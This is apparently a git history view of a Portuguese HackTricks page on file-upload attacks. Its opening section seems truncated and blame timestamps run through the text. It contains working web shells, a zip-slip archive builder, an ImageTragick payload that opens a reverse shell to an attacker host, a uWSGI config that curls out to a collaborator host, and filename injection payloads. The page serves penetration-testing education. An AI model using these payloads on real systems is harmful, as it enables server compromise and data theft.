hacktricks/pentesting-web/file-upload/README.md

242 lines
17 KiB
Markdown
Raw Normal View History

2023-06-06 18:56:34 +00:00
# Upload de Arquivo
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas dicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
![](<../../.gitbook/assets/image (638) (3).png>)
2022-04-30 20:31:18 +00:00
**Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje
2023-03-02 09:08:19 +00:00
```ini
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
2023-03-05 10:15:19 +00:00
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
2023-03-02 09:08:19 +00:00
; call a function returning a char *
characters = @(call://uwsgi_func)
```
2023-06-06 18:56:34 +00:00
Quando o arquivo de **configuração** for **analisado**, o **payload** será **executado**. Observe que para que a configuração seja analisada, o **processo precisa ser reiniciado** (falha? DoS?) ou o arquivo **recarregado automaticamente** (uma opção que pode estar em uso indica os segundos para recarregar o arquivo se uma alteração for encontrada).
2023-03-02 09:08:19 +00:00
2023-06-06 18:56:34 +00:00
**Nota importante:** A análise do arquivo de configuração do uWSGI é flexível. O payload anterior pode ser incorporado dentro de um arquivo binário (por exemplo, imagem, pdf, ...).
2020-10-15 13:16:06 +00:00
2023-06-06 18:56:34 +00:00
## **Truque de upload de arquivo wget/SSRF**
2020-10-15 13:16:06 +00:00
Em algumas ocasiões, você pode descobrir que um servidor está usando o **`wget`** para **baixar arquivos** e você pode **indicar** a **URL**. Nesses casos, o código pode estar verificando se a extensão dos arquivos baixados está dentro de uma lista branca para garantir que apenas os arquivos permitidos serão baixados. No entanto, **essa verificação pode ser contornada**.\
2023-06-06 18:56:34 +00:00
O **comprimento máximo** de um **nome de arquivo** no **Linux** é **255**, no entanto, o **wget** trunca os nomes de arquivo para **236** caracteres. Você pode **baixar um arquivo chamado "A"\*232+".php"+".gif"**, este nome de arquivo irá **burlar** a **verificação** (como neste exemplo **".gif"** é uma extensão **válida**) mas o `wget` irá **renomear** o arquivo para **"A"\*232+".php"**.
2020-10-15 13:16:06 +00:00
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
```
```bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
2023-06-06 18:56:34 +00:00
Observe que **outra opção** que você pode estar pensando para contornar essa verificação é fazer com que o **servidor HTTP redirecione para um arquivo diferente**, para que a URL inicial contorne a verificação e, em seguida, o wget faça o download do arquivo redirecionado com o novo nome. Isso **não funcionará** **a menos que** o wget esteja sendo usado com o **parâmetro** `--trust-server-names`, porque **o wget fará o download da página redirecionada com o nome do arquivo indicado na URL original**.
2020-10-15 13:16:06 +00:00
2023-06-06 18:56:34 +00:00
#### Outros recursos
2021-01-28 13:23:35 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
* [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
* [https://github.com/almandin/fuxploider](https://github.com/almandin/fuxploider)
2023-03-02 09:08:19 +00:00
* [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
2021-01-28 13:23:35 +00:00
2023-06-06 18:56:34 +00:00
## De upload de arquivos para outras vulnerabilidades
* Defina o **nome do arquivo** como `../../../tmp/lol.png` e tente alcançar uma **travessia de caminho**
* Defina o **nome do arquivo** como `sleep(10)-- -.jpg` e você pode ser capaz de alcançar uma **injeção de SQL**
* Defina o **nome do arquivo** como `<svg onload=alert(document.domain)>` para alcançar um XSS
* Defina o **nome do arquivo** como `; sleep 10;` para testar alguma injeção de comando (mais [truques de injeção de comando aqui](../command-injection.md))
* [**XSS** em upload de arquivo de imagem (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
* Upload de arquivo **JS** + **XSS** = exploração de [**Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
* [**XXE em upload de svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
* [**Redirecionamento aberto** via upload de arquivo svg](../open-redirect.md#open-redirect-uploading-svg-files)
* Tente **diferentes payloads svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
* [Famosa vulnerabilidade de **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* Se você pode **indicar ao servidor web para capturar uma imagem de uma URL**, você pode tentar abusar de um [SSRF](../ssrf-server-side-request-forgery/). Se esta **imagem** for ser **salva** em algum site **público**, você também pode indicar uma URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **roubar informações de todos os visitantes**.
* [**XXE e CORS** bypass com upload de PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
* PDFs especialmente criados para XSS: A [página a seguir apresenta como **injetar dados PDF para obter execução JS**](../xss-cross-site-scripting/pdf-injection.md). Se você puder fazer upload de PDFs, poderá preparar alguns PDFs que executarão JS arbitrário seguindo as indicações fornecidas.
2023-06-06 18:56:34 +00:00
* Faça upload do conteúdo \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para verificar se o servidor possui algum **antivírus**
* Verifique se há algum **limite de tamanho** para upload de arquivos
Aqui está uma lista dos 10 principais itens que você pode alcançar fazendo upload (de [link](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
2020-10-15 13:16:06 +00:00
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
3. **GIF**: Stored XSS / SSRF
4. **CSV**: CSV injection
5. **XML**: XXE
6. **AVI**: LFI / SSRF
7. **HTML / JS** : HTML injection / XSS / Open redirect
8. **PNG / JPEG**: Pixel flood attack (DoS)
2020-10-15 13:16:06 +00:00
9. **ZIP**: RCE via LFI / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE
2023-06-06 18:56:34 +00:00
#### Extensão Burp
{% embed url="https://github.com/portswigger/upload-scanner" %}
2023-06-06 18:56:34 +00:00
## Bytes de cabeçalho mágico
2021-04-17 15:03:24 +00:00
* **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
* **JPG**: `"\xff\xd8\xff"`
2023-06-06 18:56:34 +00:00
Consulte [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) para outros tipos de arquivos.
2023-06-06 18:56:34 +00:00
### Upload de arquivo Zip/Tar automaticamente descompactado
2020-10-15 13:16:06 +00:00
2023-06-06 18:56:34 +00:00
Se você puder fazer upload de um ZIP que será descompactado dentro do servidor, poderá fazer 2 coisas:
2020-10-15 13:16:06 +00:00
2022-05-01 13:25:53 +00:00
#### Symlink
2020-10-15 13:16:06 +00:00
2023-06-06 18:56:34 +00:00
Faça upload de um link contendo links simbólicos para outros arquivos e, em seguida, acessando os arquivos descompactados, você acessará os arquivos vinculados:
```
2020-10-15 13:16:06 +00:00
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
2021-12-05 18:16:27 +00:00
tar -cvf test.tar symindex.txt
2020-10-15 13:16:06 +00:00
```
2023-06-06 18:56:34 +00:00
### Descompactar em pastas diferentes
2020-10-15 13:16:06 +00:00
2023-06-06 18:56:34 +00:00
Os arquivos descompactados serão criados em pastas inesperadas.
2020-10-15 13:16:06 +00:00
Pode-se facilmente assumir que essa configuração protege contra a execução de comandos em nível de sistema operacional por meio de uploads de arquivos maliciosos, mas infelizmente isso não é verdade. Como o formato de arquivo ZIP suporta compressão hierárquica e também podemos fazer referência a diretórios de nível superior, podemos escapar do diretório de upload seguro abusando da funcionalidade de descompactação do aplicativo alvo.
2020-10-15 13:16:06 +00:00
2023-06-06 18:56:34 +00:00
Um exploit automatizado para criar esse tipo de arquivos pode ser encontrado aqui: [**https://github.com/ptoomey3/evilarc**](https://github.com/ptoomey3/evilarc)
2020-10-15 13:16:06 +00:00
```python
2021-12-05 18:16:27 +00:00
python2 evilarc.py -h
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
2020-10-15 13:16:06 +00:00
```
Você também pode usar o **truque do symlink com evilarc**, se a flag estiver em `/flag.txt`, certifique-se de criar um **symlink para esse arquivo** e **criar esse arquivo em seu sistema** para que, quando você chamar o evilarc, ele **não apresente erro**.
2020-10-15 13:16:06 +00:00
Algum código Python para criar um zip malicioso:
2020-10-15 13:16:06 +00:00
```python
#!/usr/bin/python
import zipfile
from io import BytesIO
2020-10-15 13:16:06 +00:00
def create_zip():
f = BytesIO()
2020-10-15 13:16:06 +00:00
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
2020-10-15 13:16:06 +00:00
```
2023-06-06 18:56:34 +00:00
Para alcançar a execução remota de comandos, segui os seguintes passos:
2020-10-15 13:16:06 +00:00
1. Criar um shell PHP:
2020-10-15 13:16:06 +00:00
```php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
```
2023-06-06 18:56:34 +00:00
1. Use a técnica de "file spraying" e crie um arquivo zip compactado:
```
2020-10-15 13:16:06 +00:00
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php xxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php xxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php xxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
adding: xxAcmd.php (deflated 40%)
adding: xxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#
```
2023-06-06 18:56:34 +00:00
3. Use um hexeditor ou vi e mude "xxA" para "../", eu usei vi:
```
2020-10-15 13:16:06 +00:00
:set modifiable
:%s/xxA/..\//g
:x!
```
Concluída a etapa anterior: Faça o upload do arquivo ZIP e permita que a aplicação o descompacte! Se tiver sucesso e o servidor web tiver privilégios suficientes para gravar nos diretórios, haverá um shell simples de execução de comando do sistema:
2020-10-15 13:16:06 +00:00
[![b1](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1-300x106.png)](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1.png)
2023-06-06 18:56:34 +00:00
**Referência**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
2020-10-15 13:16:06 +00:00
2022-05-01 16:32:23 +00:00
## ImageTragic
2020-10-15 13:16:06 +00:00
Faça o upload deste conteúdo com uma extensão de imagem para explorar a vulnerabilidade **(ImageMagick, 7.0.1-1)**
```
2020-10-15 13:16:06 +00:00
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## Incorporando Shell PHP em PNG
2020-10-15 13:16:06 +00:00
A principal razão para colocar um shell da web no chunk IDAT é que ele tem a capacidade de ignorar operações de redimensionamento e reamostragem - o PHP-GD contém duas funções para isso [imagecopyresized](http://php.net/manual/en/function.imagecopyresized.php) e [imagecopyresampled](http://php.net/manual/en/function.imagecopyresampled.php).
2020-10-15 13:16:06 +00:00
2023-06-06 18:56:34 +00:00
Leia este post: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
2020-10-15 13:16:06 +00:00
2023-06-06 18:56:34 +00:00
## Arquivos Poliglotas
2020-10-15 13:16:06 +00:00
2023-06-06 18:56:34 +00:00
Poliglotas, em um contexto de segurança, são arquivos que são uma forma válida de vários tipos de arquivos diferentes. Por exemplo, um [GIFAR](https://en.wikipedia.org/wiki/Gifar) é tanto um arquivo GIF quanto um arquivo RAR. Existem também arquivos que podem ser tanto GIF quanto JS, tanto PPT quanto JS, etc.
2020-10-15 13:16:06 +00:00
2023-06-06 18:56:34 +00:00
Arquivos poliglotas são frequentemente usados para contornar proteções baseadas em tipos de arquivo. Muitos aplicativos que permitem que os usuários façam upload de arquivos permitem apenas uploads de certos tipos, como JPEG, GIF, DOC, para evitar que os usuários façam upload de arquivos potencialmente perigosos como arquivos JS, arquivos PHP ou arquivos Phar.
2020-10-15 13:16:06 +00:00
2023-06-06 18:56:34 +00:00
Isso ajuda a fazer upload de um arquivo que está em conformidade com o formato de vários formatos diferentes. Isso pode permitir que você faça upload de um arquivo PHAR (PHp ARchive) que também parece um JPEG, mas provavelmente você ainda precisará de uma extensão válida e se a função de upload não permitir, isso não ajudará.
2020-10-15 13:16:06 +00:00
2023-06-06 18:56:34 +00:00
Mais informações em: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
2022-04-28 16:01:33 +00:00
2022-07-21 20:26:09 +00:00
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Dica de recompensa por bugs**: **inscreva-se** no **Intigriti**, uma plataforma premium de **recompensa por bugs criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100.000**!
2022-05-08 22:42:39 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
2023-06-06 18:56:34 +00:00
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas dicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>